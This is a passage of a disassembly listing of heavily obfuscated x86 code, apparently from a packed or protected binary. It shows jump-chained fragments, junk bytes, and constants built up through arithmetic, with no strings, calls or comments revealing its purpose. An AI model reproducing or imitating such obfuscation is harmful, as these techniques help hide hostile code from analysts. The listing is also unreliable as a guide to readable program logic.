; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4ECC9DC7h, 1C8B5953h, 4C48124h, 0E9000000h, 0FFFF8643h
; ---------------------------------------------------------------------------


loc_5A3114:				; CODE XREF: sdfs____:00599A50j
		xchg	edi, [esp]
		jmp	loc_5A9F27
; ---------------------------------------------------------------------------
dword_5A311C	dd 8B2434FFh, 0C8E9240Ch		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3127:				; CODE XREF: sdfs____:005AEF4Fj
		push	1365h
		mov	[esp], ecx
		jmp	loc_5AB6E3
; ---------------------------------------------------------------------------
		dd 0B1515351h, 0F6D9F6BBh, 0A840FD9h, 800000B0h, 0C18092C1h
		dd 0CB870F12h, 66FFFFC9h, 3C1CE953h, 18680000h,	5A1DFF70h
		db 0F7h, 0D2h
; ---------------------------------------------------------------------------


loc_5A315E:				; CODE XREF: sdfs____:0059B7B3j
		mov	ch, 9Ah
		jmp	loc_5AEBB9
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd offset byte_5B36E9
		db 0
; ---------------------------------------------------------------------------


loc_5A316D:				; CODE XREF: sdfs____:005AA168j
		push	ecx
		jmp	loc_59E358
; ---------------------------------------------------------------------------


loc_5A3173:				; CODE XREF: sdfs____:005A0594j
		add	eax, edx
		jmp	loc_5ACFA3
; ---------------------------------------------------------------------------


loc_5A317A:				; CODE XREF: sdfs____:0059EC30j
					; sdfs____:loc_5AA7DFj
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5AB7A1
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 7
		dd 8C3C780h, 7AA5E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A31AA:				; CODE XREF: sdfs____:005A7C9Cj
		pop	ecx
		sub	esi, ebp
		sub	esi, 3CA277EDh
		pop	ebp
		push	5457h
		mov	[esp], ebx
		mov	ebx, 763A271Ch
		shr	ebx, 8
		add	ebx, 33553BA0h
		js	loc_5A45B0
		shl	ebx, 7
		jnp	loc_5AB36D
		not	ebx
		jmp	loc_59FC02
; ---------------------------------------------------------------------------
		dd 104C483h
		db 0DAh, 53h
; ---------------------------------------------------------------------------


loc_5A31E6:				; CODE XREF: sdfs____:005A63D7j
		add	esp, 4
		push	edi
		sub	esp, 4
		jmp	loc_59E4D3
; ---------------------------------------------------------------------------


loc_5A31F5:				; CODE XREF: sdfs____:005A3694j
		pop	esi
		sub	eax, 1
		push	ebx
		mov	ebx, 153F2271h
		add	ebx, 29160A9h
		jmp	loc_5ADFE0
; ---------------------------------------------------------------------------


loc_5A320C:				; CODE XREF: sdfs____:005AC547j
		push	edi
		mov	edi, 5AAF3590h
		mov	ebp, 772802DEh
		xor	ebp, edi
		pop	edi
		xor	ebx, ebp
		pop	ebp
		jmp	loc_59A781
; ---------------------------------------------------------------------------


loc_5A3222:				; CODE XREF: sdfs____:0059E650j
		pop	ebp
		not	ebp
		add	ebp, 178D30E5h
		jmp	loc_5AF4D1
; ---------------------------------------------------------------------------


loc_5A3230:				; CODE XREF: sdfs____:0059FE5Cj
		pop	eax
		add	edi, 93E227Bh
		add	edi, esi
		sub	edi, 93E227Bh
		jmp	loc_599A46
; ---------------------------------------------------------------------------


loc_5A3244:				; CODE XREF: sdfs____:005A11D3j
		mov	dl, ah
		jmp	loc_599DAB
; ---------------------------------------------------------------------------


loc_5A324B:				; CODE XREF: sdfs____:005A7DC6j
		dec	edx
		jmp	loc_59C1F7
; ---------------------------------------------------------------------------


loc_5A3251:				; CODE XREF: sdfs____:005A260Aj
		add	esp, 4
		sub	cl, 0D2h
		add	cl, dl
		jmp	loc_5AB0AD
; ---------------------------------------------------------------------------
byte_5A3261	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:00598E54o
aHc@		db '$hC@',0
		align 2
		dw 0C89h
		dd 0D2E95424h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3273:				; CODE XREF: sdfs____:005AA60Fj
		add	esp, 4
		dec	bl
		xchg	al, bl
		jmp	loc_5ACA13
; ---------------------------------------------------------------------------


loc_5A3282:				; CODE XREF: sdfs____:005A82C9j
		sub	ebp, 28090208h
		jp	loc_5A22F9
		neg	ebp
		jbe	loc_5A0C2A
		add	ebp, 77D012B9h
		push	esp


loc_5A329D:				; CODE XREF: sdfs____:005A05A2j
		mov	ecx, 1EEA0D9Eh
		mov	esi, 1F0E01B4h
		jmp	loc_59CA61
; ---------------------------------------------------------------------------
		dd 0E43CC5B8h, 40D0F768h, 3FA52405h, 0D54EE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A32BE:				; CODE XREF: sdfs____:005AB9BFj
		mov	eax, 5EF3DB3h
		add	edx, eax
		jmp	loc_5A5F94
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 53000000h,	1995E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A32D9:				; CODE XREF: sdfs____:0059B39Fj
		mov	[esp], ebp
		mov	ebp, 572A1DCDh
		add	ebp, 52853A1h
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5CD95F81h
		or	edx, 7E7A0279h
		xor	edx, 390D6CE2h
		neg	edx
		jo	loc_5AC50D
		neg	edx
		jp	loc_5AD716
		shr	edx, 1
		add	edx, 3C5306F3h
		jmp	loc_5A6EE8
; ---------------------------------------------------------------------------
		db 0B7h
		db 61h
; ---------------------------------------------------------------------------


loc_5A3321:				; CODE XREF: sdfs____:0059F2FBj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		push	55C8h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	1A7A565Ah
		jmp	loc_5AE803
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 6F68E900h, 4B90000h, 1000000h,	8B04244Ch, 5453240Ch
		dd 1426685Bh, 6DE90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A336B:				; CODE XREF: sdfs____:loc_5AAE6Cj
		dec	edi
		jmp	loc_5AD546
; ---------------------------------------------------------------------------


loc_5A3371:				; CODE XREF: sdfs____:005AEA3Bj
		push	ecx
		mov	ch, 0D0h
		add	dh, ch
		jmp	loc_599477
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7E27E9D0h, 505FFFFFh, 0F67FA9B8h, 5068407Eh,	8900006Ah
		dd 15E9243Ch, 660000C3h, 2404BB0Fh, 5D6DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A33A2:				; CODE XREF: sdfs____:005A9CF4j
					; sdfs____:005AA9CCj
		not	byte ptr [esp+1]
		pop	bx
		inc	bh
		js	loc_5A5987
		add	bh, 0CFh
		sub	esp, 4
		mov	[esp], eax
		push	ebp


loc_5A33BD:				; CODE XREF: sdfs____:0059BCDAj
		mov	edx, 7172711Eh
		sub	edx, ecx
		jmp	loc_5AD73A
; ---------------------------------------------------------------------------


loc_5A33C9:				; CODE XREF: sdfs____:005A5A27j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edx
		push	781Ch
		mov	[esp], ebx
		mov	ebx, 7ACA62CCh
		push	edi
		mov	edi, 7ACA62C8h
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		jmp	loc_59A008
; ---------------------------------------------------------------------------


loc_5A33F2:				; CODE XREF: sdfs____:0059C689j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_5AB17F
; ---------------------------------------------------------------------------


loc_5A340E:				; CODE XREF: sdfs____:0059BF16j
		add	esp, 4
		push	edi
		mov	edi, 13753432h
		jmp	loc_5A2BF7
; ---------------------------------------------------------------------------


loc_5A341F:				; CODE XREF: sdfs____:0059E8CDj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5AF88C
; ---------------------------------------------------------------------------


loc_5A3431:				; CODE XREF: sdfs____:0059DF80j
		add	edi, esi
		jmp	loc_59F9F8
; ---------------------------------------------------------------------------


loc_5A3438:				; CODE XREF: sdfs____:005A0957j
		mov	esp, [esp]
		add	al, bl
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dh, 40h
		jmp	loc_5AA608
; ---------------------------------------------------------------------------


loc_5A344E:				; CODE XREF: sdfs____:005AA260j
		xor	al, 0CEh
		sub	al, 7Ch
		sub	cl, 8
		add	cl, al
		add	cl, 8
		pop	eax
		sub	cl, dl
		sub	cl, 0FCh
		pop	edx
		and	al, cl
		jmp	loc_5AEFC1
; ---------------------------------------------------------------------------


loc_5A3468:				; CODE XREF: sdfs____:0059A2E6j
		mov	ebx, 6B516DC6h
		shl	ebx, 6
		shr	ebx, 7
		neg	ebx
		neg	ebx
		push	edi
		mov	edi, 5C84C12Ah
		add	ebx, edi
		pop	edi
		and	esi, ebx
		pop	ebx
		not	esi
		sub	esi, 0FFFFFFFFh
		sub	esi, 908AF081h
		add	ebp, 444B2B69h
		add	ebp, esi
		sub	ebp, 444B2B69h
		push	dword ptr [esp]
		jmp	loc_5AEE86
; ---------------------------------------------------------------------------
		db 0BDh
		dd 72B02332h, 1563E581h, 0F6E96E14h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A34B7:				; CODE XREF: sdfs____:0059D81Ej
		push	edx
		jmp	loc_5A5911
; ---------------------------------------------------------------------------


loc_5A34BD:				; CODE XREF: sdfs____:0059EE93j
		sub	ecx, 3E4638F3h
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A1448
; ---------------------------------------------------------------------------


loc_5A34D5:				; CODE XREF: sdfs____:005A8C00j
		or	ebx, 12CF36AAh
		push	72ECh
		mov	[esp], ecx
		push	esi
		mov	esi, 7F1A2374h
		jmp	loc_5AB536
; ---------------------------------------------------------------------------


loc_5A34EE:				; CODE XREF: sdfs____:005AEC9Bj
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		not	ecx
		xchg	ecx, ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		xor	edx, 46670BC3h
		jle	loc_5AF75A
		dec	edx
		jnz	loc_5ACCBF
		jns	loc_5993C7
		push	edi


loc_5A351C:				; CODE XREF: sdfs____:0059E2B4j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	4926h
		jmp	loc_5A66BF
; ---------------------------------------------------------------------------


loc_5A3530:				; CODE XREF: sdfs____:005AAA40j
		push	edi
		mov	edi, 0
		sub	edi, esi
		mov	esi, edi
		jmp	loc_59B081
; ---------------------------------------------------------------------------


loc_5A353F:				; CODE XREF: sdfs____:005A05C0j
		xor	ebx, 3AE29D4Ah
		jmp	loc_5AC47E
; ---------------------------------------------------------------------------
		dw 5D59h
		dd 34FFF029h, 0C4815E24h, 4, 9BDEE9h
		db 0
byte_5A355D	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:00598F64o
aHko		db '$hkO',0
		align 2
		dd offset dword_562548+6A1h
		db 0
; ---------------------------------------------------------------------------


loc_5A356B:				; CODE XREF: sdfs____:005ADB68j
		xchg	ebx, [esp]
		pop	esp
		imul	ecx
		push	6AADh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 7EBDEF81h, 0C78128F1h, 452375EAh, 0EF81D701h, 452375EAh
		dd 0FFE53BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3599:				; CODE XREF: sdfs____:0059E3FCj
		add	dl, 43h
		jmp	loc_5A04D0
; ---------------------------------------------------------------------------


loc_5A35A1:				; CODE XREF: sdfs____:005A361Cj
		mov	[esp], eax
		jmp	loc_5AAEE8
; ---------------------------------------------------------------------------


loc_5A35A9:				; CODE XREF: sdfs____:005A3DD5j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A35AE:				; CODE XREF: sdfs____:005A6514j
		pop	edi
		jmp	loc_59E277
; ---------------------------------------------------------------------------


loc_5A35B4:				; CODE XREF: sdfs____:005A9861j
		add	ebx, 4
		jmp	loc_5A76B1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 1B71E900h, 0D6890000h,	87EF815Ah, 8100D034h, 56699C7h
		dd 0E9F7010Ah, 0C8EAh, 0C781DF01h, 1CCE7C6Ch, 964EF81h
		dd 34FF7B22h, 0C418E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A35F6:				; CODE XREF: sdfs____:005AFA41j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	558D3763h
		mov	ecx, [esp]
		add	esp, 4
		push	1DAAh
		jmp	loc_5A35A1
; ---------------------------------------------------------------------------


loc_5A3621:				; CODE XREF: sdfs____:005A9ED7j
		push	eax
		mov	ah, 0Fh
		shl	ah, 1
		push	bx
		mov	bh, 24h
		add	ah, bh
		pop	bx
		xor	ah, 0BDh
		sub	bl, 5Fh
		sub	bl, ah
		jmp	loc_5ABE78
; ---------------------------------------------------------------------------


loc_5A363B:				; CODE XREF: sdfs____:005A4FFDj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5AF358
; ---------------------------------------------------------------------------


loc_5A3649:				; CODE XREF: sdfs____:0059D83Dj
		or	edx, eax
		jmp	loc_5A75D0
; ---------------------------------------------------------------------------


loc_5A3650:				; CODE XREF: sdfs____:005A7B52j
		sub	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5AE1BC
; ---------------------------------------------------------------------------


loc_5A365A:				; CODE XREF: sdfs____:005A7E72j
		push	edx
		mov	edx, 55873D93h
		not	edx
		push	ecx
		mov	ecx, 1
		push	ebx
		jmp	loc_5AD5B5
; ---------------------------------------------------------------------------
aKaYqUnsrw	db '¿ŠA~YQ¹žN‘rW¿',0
		dd 29000000h, 56DFE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3686:				; CODE XREF: sdfs____:005A5C82j
		and	esi, 1AB823CCh
		sub	esi, 0B35DC783h
		xor	eax, esi
		jmp	loc_5A31F5
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0ACh
		dd 0E92F8706h, 0FFFF765Eh
; ---------------------------------------------------------------------------


loc_5A36A4:				; CODE XREF: sdfs____:0059B9A2j
		add	esi, 5E7A41F5h
		sub	edx, esi
		pop	esi
		shr	edx, 4
		push	edi
		mov	edi, 0C1C7A13h
		xor	edx, edi
		jmp	loc_5A3F87
; ---------------------------------------------------------------------------


loc_5A36BD:				; CODE XREF: sdfs____:005A1F3Ej
		mov	ebx, 4
		sub	ebp, ebx
		jmp	loc_5A3DA1
; ---------------------------------------------------------------------------


loc_5A36C9:				; CODE XREF: sdfs____:005ADAF9j
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 298D060Ah
		sub	eax, esi
		pop	esi
		push	12B7h
		mov	[esp], ebx
		jmp	loc_5A039A
; ---------------------------------------------------------------------------


loc_5A36FE:				; CODE XREF: sdfs____:005A0EFCj
		pop	esi
		jmp	loc_5A214A
; ---------------------------------------------------------------------------
		dd 240C8966h, 4EC81h, 4890000h,	46B35324h, 0E95BD888h
		dd 9591h
; ---------------------------------------------------------------------------


loc_5A371C:				; CODE XREF: sdfs____:005A6F00j
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, 24h
		sub	eax, 6B5E77EBh
		add	eax, edi
		add	eax, 6B5E77EBh
		push	ebx
		jmp	loc_5A3B60
; ---------------------------------------------------------------------------


loc_5A373C:				; CODE XREF: sdfs____:005A3EF9j
		add	ebp, 0E174FFFh
		jbe	loc_5AB0EC
		jmp	loc_5A8931
; ---------------------------------------------------------------------------


loc_5A374D:				; CODE XREF: sdfs____:005AA3A9j
		mov	ebx, 1E2A6B7Ch
		push	374Ch
		mov	[esp], eax
		mov	eax, 62B62CDAh
		push	ebp
		mov	ebp, 3CFB3712h
		and	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 69E3614Ch
		sub	eax, 115E1C41h
		sub	eax, ebp
		push	ecx
		mov	ecx, 115E1C41h
		jmp	loc_59D376
; ---------------------------------------------------------------------------
		dd 8B66D530h, 0C4812414h, 2, 840FC5FEh,	600Eh, 405E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A3799:				; CODE XREF: sdfs____:005A7016j
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2934468Eh
		push	edi
		mov	edi, 6E684850h
		or	eax, edi
		pop	edi
		jmp	loc_5AA7F6
; ---------------------------------------------------------------------------
		dd 630AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A37C9:				; CODE XREF: sdfs____:005A2AA7j
		jmp	loc_5A7DB3
; ---------------------------------------------------------------------------


loc_5A37CE:				; CODE XREF: sdfs____:005A5093j
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_59A1E2
; ---------------------------------------------------------------------------


loc_5A37DF:				; CODE XREF: sdfs____:005A50E0j
		sub	edi, 0BBF8EF53h
		jmp	loc_59C70F
; ---------------------------------------------------------------------------


loc_5A37EA:				; CODE XREF: sdfs____:005A68A8j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, 553D1217h
		add	ebp, ecx
		add	ebp, 553D1217h
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	74A6h
		mov	[esp], edi
		mov	edi, 1536381Eh
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 3A8F2078h
		xor	esi, edx
		pop	edx
		push	72F3h
		jmp	loc_5AAE87
; ---------------------------------------------------------------------------


loc_5A3832:				; CODE XREF: sdfs____:005AEABDj
		push	2513447Ah
		pop	esi
		dec	esi
		jmp	loc_5A280A
; ---------------------------------------------------------------------------


loc_5A383E:				; CODE XREF: sdfs____:005A1329j
		sub	ecx, 78742A58h
		xor	[ecx], edx
		mov	ecx, [esp]
		add	esp, 4


loc_5A384C:				; CODE XREF: sdfs____:005AE06Fj
		push	6CA3h
		jmp	loc_59F7D2
; ---------------------------------------------------------------------------


loc_5A3856:				; CODE XREF: sdfs____:0059E617j
		push	eax
		push	edx
		mov	dh, 0D0h
		sub	dh, 45h
		push	ebx
		jmp	loc_5AEAD9
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 24248B24h,	0E9241489h, 9AFFh
; ---------------------------------------------------------------------------


loc_5A3874:				; CODE XREF: sdfs____:005AC973j
		inc	ah
		and	ah, 0C6h
		not	ah
		add	ah, 2Fh
		push	cx
		mov	ch, 88h
		jmp	loc_59F5E3
; ---------------------------------------------------------------------------
		db 0BFh
		dd 3A445539h, 0DFF7D7F7h, 0C781DFF7h, 3A44553Eh, 815FFD01h
		dd 4ECh, 9AAEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A38A6:				; CODE XREF: sdfs____:0059A27Dj
		mov	esp, [esp]
		jmp	loc_5AB41B
; ---------------------------------------------------------------------------
		dw 48BFh
		dd 29155438h, 5BE95FFBh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A38BB:				; CODE XREF: sdfs____:005AF804j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A38C0:				; CODE XREF: sdfs____:0059FC2Ej
		sub	ecx, 0F538BB1Fh
		push	ecx
		jmp	loc_5A4E47
; ---------------------------------------------------------------------------


loc_5A38CC:				; CODE XREF: sdfs____:005A6230j
		pop	ebx
		sub	eax, 5F5B53A5h
		add	eax, esi
		push	ebp
		push	edi
		mov	edi, 32C826EAh
		push	edi
		jmp	loc_59F983
; ---------------------------------------------------------------------------


loc_5A38E1:				; CODE XREF: sdfs____:0059BE7Fj
		pop	eax
		add	bl, 8
		push	ax
		jmp	loc_5A3A81
; ---------------------------------------------------------------------------
		dd 840FE0D1h, 0FFFFCFC2h, 0C0FABE35h, 0FFC3017Ch, 48B2434h
		dd 0CD0FE924h, 0BF57FFFFh, 3F647Ch, 55FF829h, 123C6B60h
		dd 1F19FD05h, 0E644E937h, 248BFFFFh, 0C8B6624h,	4EC8324h
		dd 68241489h, 5575h, 1D1268h, 24248900h, 4240481h, 8F000000h
		dd 1E92404h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3947:				; CODE XREF: sdfs____:005A205Bj
		push	ebx
		mov	ebx, 753A5BACh
		xchg	esi, ebx
		dec	esi
		push	ebx
		push	esi
		pop	ebx
		mov	esi, [esp]
		jmp	loc_5A40CB
; ---------------------------------------------------------------------------


loc_5A395B:				; CODE XREF: sdfs____:005AF56Fj
		mov	ah, 0B8h
		dec	ah
		neg	ah
		jmp	loc_5AB27B
; ---------------------------------------------------------------------------


loc_5A3966:				; CODE XREF: sdfs____:005ABC2Aj
		add	eax, 4
		add	eax, 4
		jmp	loc_59DEA8
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0D6h
		dd 597DAC73h, 8B5EF201h, 0C483241Ch, 8C91E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A398A:				; CODE XREF: sdfs____:0059A536j
		pop	esi
		push	ebx
		push	edx
		jmp	loc_5A9B77
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 0E95BD801h, 0AEB9h
; ---------------------------------------------------------------------------


loc_5A39A0:				; CODE XREF: sdfs____:005A6773j
		xor	edx, 0FF60F386h
		neg	edx
		dec	edx
		xor	edx, 733D4D10h
		not	edx
		shl	edx, 4
		add	edx, 0A59F2A24h
		sub	ebp, edx
		jmp	loc_59934D
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 50h
		dd 4B8h, 8ED8100h, 13A100Dh, 8C581C5h, 583A100Dh, 4ED81h
		dd 2C870000h, 24248B24h, 0B0240489h, 0E9C600CDh, 8DADh
		dd 3304E883h, 4312404h,	24043324h, 0E924248Bh, 0C42Dh
; ---------------------------------------------------------------------------


loc_5A3A04:				; CODE XREF: sdfs____:0059ED1Bj
		add	esp, 4
		xor	edx, eax
		jmp	loc_5A5090
; ---------------------------------------------------------------------------


loc_5A3A11:				; CODE XREF: sdfs____:0059AFFBj
		xor	ebp, ecx
		pop	ecx
		sub	eax, 1A00015Fh
		sub	eax, ebp
		add	eax, 1A00015Fh
		pop	ebp
		jmp	loc_5A03AA
; ---------------------------------------------------------------------------
		dw 814Dh
		dd 381131C5h, 9CA8E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3A32:				; CODE XREF: sdfs____:0059A0B9j
		pop	edx
		add	edx, 4
		jmp	loc_59CB59
; ---------------------------------------------------------------------------


loc_5A3A3E:				; CODE XREF: sdfs____:0059A4C8j
		shl	edi, 4
		push	edx
		jmp	loc_5A22E5
; ---------------------------------------------------------------------------


loc_5A3A47:				; CODE XREF: sdfs____:0059CD83j
		add	si, 6EBAh
		add	si, 0BDE2h
		add	ax, 64A9h
		add	ax, si
		sub	ax, 64A9h
		mov	esi, [esp]
		jmp	loc_5A4E88
; ---------------------------------------------------------------------------


loc_5A3A64:				; CODE XREF: sdfs____:0059DE2Bj
		sub	[esp+4], eax
		jmp	loc_5A525C
; ---------------------------------------------------------------------------


loc_5A3A6D:				; CODE XREF: sdfs____:005AFE77j
		push	ecx
		mov	ecx, 14842B90h
		and	ecx, 14719E4h
		shl	ecx, 5
		jmp	loc_5AEB05
; ---------------------------------------------------------------------------


loc_5A3A81:				; CODE XREF: sdfs____:005A38E7j
		mov	ah, 51h
		sub	bl, ah
		mov	ax, [esp]
		jmp	loc_59B463
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 0E9243487h, 0C688h
; ---------------------------------------------------------------------------


loc_5A3A9C:				; CODE XREF: sdfs____:0059F62Aj
		neg	edi
		not	edi
		xor	edi, 0DE2607BFh
		add	edi, esi
		pop	esi
		xor	edi, 286C5E1Eh
		jmp	loc_5A597F
; ---------------------------------------------------------------------------


loc_5A3AB4:				; CODE XREF: sdfs____:005AE2B8j
		pop	esp
		jmp	loc_5AF8D7
; ---------------------------------------------------------------------------


loc_5A3ABA:				; CODE XREF: sdfs____:0059A40Dj
		add	edx, ecx
		add	edx, 443E4E91h
		jmp	loc_59A07C
; ---------------------------------------------------------------------------


loc_5A3AC7:				; CODE XREF: sdfs____:0059F257j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A753A
; ---------------------------------------------------------------------------


loc_5A3AD9:				; CODE XREF: sdfs____:0059BBF8j
					; sdfs____:0059D9A5j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A6FD2
; ---------------------------------------------------------------------------
dword_5A3AE4	dd 2B60F66h, 37E76866h,	24048966h, 0FF561AE9h
					; DATA XREF: sdfs____:00598E84o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3AF5:				; CODE XREF: sdfs____:005A6FBAj
		pop	eax
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_5999EF
; ---------------------------------------------------------------------------


loc_5A3B00:				; CODE XREF: sdfs____:005ABE5Aj
		mov	ebx, [esp]
		jmp	loc_5AF18F
; ---------------------------------------------------------------------------


loc_5A3B08:				; CODE XREF: sdfs____:0059A373j
		shr	edi, 3
		jmp	loc_5A204C
; ---------------------------------------------------------------------------


loc_5A3B10:				; CODE XREF: sdfs____:005A065Aj
		pop	edx
		add	bl, 8
		add	bl, cl
		push	cx
		mov	cl, 8
		jmp	loc_59C434
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 352DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3B2A:				; CODE XREF: sdfs____:005ADEE1j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59C2A6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F1DBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3B3E:				; CODE XREF: sdfs____:005A0E41j
		pop	ecx
		push	small 697Bh
		mov	[esp], dx
		mov	dl, 0CAh
		jmp	loc_5A83CA
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 0F18101E9h, 0DB71A3EAh, 0E959CF31h, 0FFFF7D19h
; ---------------------------------------------------------------------------


loc_5A3B60:				; CODE XREF: sdfs____:005A3737j
		sub	esp, 4
		jmp	loc_5AC91F
; ---------------------------------------------------------------------------


loc_5A3B68:				; CODE XREF: sdfs____:005A46FFj
		add	ebx, edx
		jmp	loc_59F4EF
; ---------------------------------------------------------------------------


loc_5A3B6F:				; CODE XREF: sdfs____:005994D0j
					; sdfs____:005AEC3Cj
		push	ecx
		mov	ecx, 13A32EA0h
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_5A66D6
; ---------------------------------------------------------------------------


loc_5A3B7F:				; CODE XREF: sdfs____:005ACC8Bj
		jmp	loc_5AAD97
; ---------------------------------------------------------------------------


loc_5A3B84:				; CODE XREF: sdfs____:005AFCF5j
		xor	edx, 68703542h
		sub	edx, 0FF11F685h
		add	ebp, edx
		pop	edx
		xor	ebp, 8CFCBCEEh
		jmp	loc_5ABEC2
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 0B753668Dh, 66F8282Eh, 22C5Bh, 0E90204E8h, 0B142h
; ---------------------------------------------------------------------------


loc_5A3BB4:				; CODE XREF: sdfs____:loc_5A45ABj
		sub	edx, 1F783A37h
		jmp	loc_5A701B
; ---------------------------------------------------------------------------


loc_5A3BBF:				; CODE XREF: sdfs____:0059FFEDj
		mov	edi, 62547DF8h
		add	esi, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_59E294
; ---------------------------------------------------------------------------
		db 5Eh
		dd 535FFD29h, 61F7E5BBh, 5BDD31D3h, 0FFCE3AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3BE5:				; CODE XREF: sdfs____:005A6EE3j
		mov	[esp], ebx
		mov	ebx, 5D9A2262h
		sub	ebx, 38EE7C32h
		add	ebx, 5E1774D5h
		jmp	loc_5A131E
; ---------------------------------------------------------------------------


loc_5A3BFE:				; CODE XREF: sdfs____:005A2AC9j
		push	ebx
		mov	ebx, 0B2D6858h
		jmp	loc_5A6509
; ---------------------------------------------------------------------------
		db 0BEh, 74h, 56h
		dd 0F131E421h, 59CD095Eh, 0FF7B6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3C19:				; CODE XREF: sdfs____:005A09A8j
		push	ebp
		mov	ebp, 66D33E95h
		mov	ebx, 0A80FCB7Eh
		add	ebx, ebp
		pop	ebp
		neg	ebx
		inc	ebx
		sub	ebx, 71E3608Bh
		inc	ebx
		dec	ebx
		jmp	loc_59EA30
; ---------------------------------------------------------------------------


loc_5A3C37:				; CODE XREF: sdfs____:005A2EA2j
		mov	[esp], esp
		jmp	loc_59EB19
; ---------------------------------------------------------------------------


loc_5A3C3F:				; CODE XREF: sdfs____:005AB79Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_5AC3A6
; ---------------------------------------------------------------------------


